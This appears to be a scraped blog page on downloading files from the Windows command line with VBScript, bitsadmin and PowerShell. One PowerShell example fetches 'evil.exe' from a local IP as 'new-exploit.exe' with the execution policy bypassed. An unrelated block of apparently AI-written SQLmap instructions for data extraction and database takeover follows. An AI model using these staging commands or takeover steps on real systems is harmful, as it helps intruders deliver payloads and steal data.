windows command shell download file

[Platform]: windows 2008 x64 standard

How to download a file with windows command shell ?

Method 1

Save the code to a file called “download.vbs”, and execute the following command:

C:\Users\Administrator\Desktop>cscript.exe download.vbs

Code Here:

' Set your settings                             
    strFileURL = "http://path/to/file"                                          
    strHDLocation = "c:\path\local\file"                                                    

' Fetch the file                                
    Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")                                                 

    objXMLHTTP.open "GET", strFileURL, false                                                        
    objXMLHTTP.send()                           

If objXMLHTTP.Status = 200 Then                 
Set objADOStream = CreateObject("ADODB.Stream")                                                     
objADOStream.Open                               
objADOStream.Type = 1 'adTypeBinary                                                                 

objADOStream.Write objXMLHTTP.ResponseBody                                                          
objADOStream.Position = 0    'Set the stream position to the start                                  

Set objFSO = Createobject("Scripting.FileSystemObject")                                             
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation                            
Set objFSO = Nothing                            

objADOStream.SaveToFile strHDLocation                                                               
objADOStream.Close                              
Set objADOStream = Nothing                      
End if                                          

Set objXMLHTTP = Nothing 
echo strUrl = WScript.Arguments.Item(0):StrFile = WScript.Arguments.Item(1):Set Post = CreateObject(^"Msxml2.XMLHTTP^"):Set Shell = CreateObject(^"Wscript.Shell^"):Post.Open ^"GET^",strUrl,0:Post.Send():Set aGet = CreateObject(^"ADODB.Stream^"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile StrFile,2 > download.vbs

Method 2

C:\Users\Administrator\Desktop>bitsadmin /transfer systemrepair  /download /priority normal http://path/to/file c:\path\local\file 

Method 3

Download File with powershell.

echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >> wget.ps1
echo $url = "http://192.168.10.5/evil.exe" >> wget.ps1
echo $file = "new-exploit.exe" >> wget.ps1
echo $webclient.DownloadFile($url, $file) >> wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1

References

  1. http://superuser.com/questions/59465/is-it-possible-to-download-using-the-windows-command-line
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
As an AI language model, I do not have the capability to run SQLmap shell. However, I can provide you with information on SQLmap and how to use it. SQLmap is a tool used for automated SQL injection and database takeover. It can detect and exploit various vulnerabilities in a website or web application. With its powerful features, SQLmap can extract sensitive data, dump database tables, and even gain administrative access to the target system. To use SQLmap, you need to have a basic understanding of SQL injection and how it works. You also need to have Python installed on your system, as SQLmap is written in Python. Here are the basic steps to use SQLmap: 1. Download SQLmap from its official website or GitHub repository. 2. Open a terminal window and navigate to the location where SQLmap is installed. 3. Use the following command to start SQLmap: ``` python sqlmap.py ``` 4. Next, you need to provide the target URL or IP address of the website or web application you want to test. Use the following command: ``` python sqlmap.py -u <target_url> ``` 5. SQLmap will start scanning the target for SQL injection vulnerabilities. Once it finds a vulnerability, it will prompt you to confirm whether you want to exploit it. 6. If you choose to exploit the vulnerability, SQLmap will start extracting data from the target database. You can use various options and commands to customize the data extraction process. 7. Once SQLmap has extracted the data, you can save it to a file or view it in the terminal. Note that SQLmap is a powerful tool that can cause damage if used improperly. It is important to use it ethically and with permission from the target website or web application owner.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值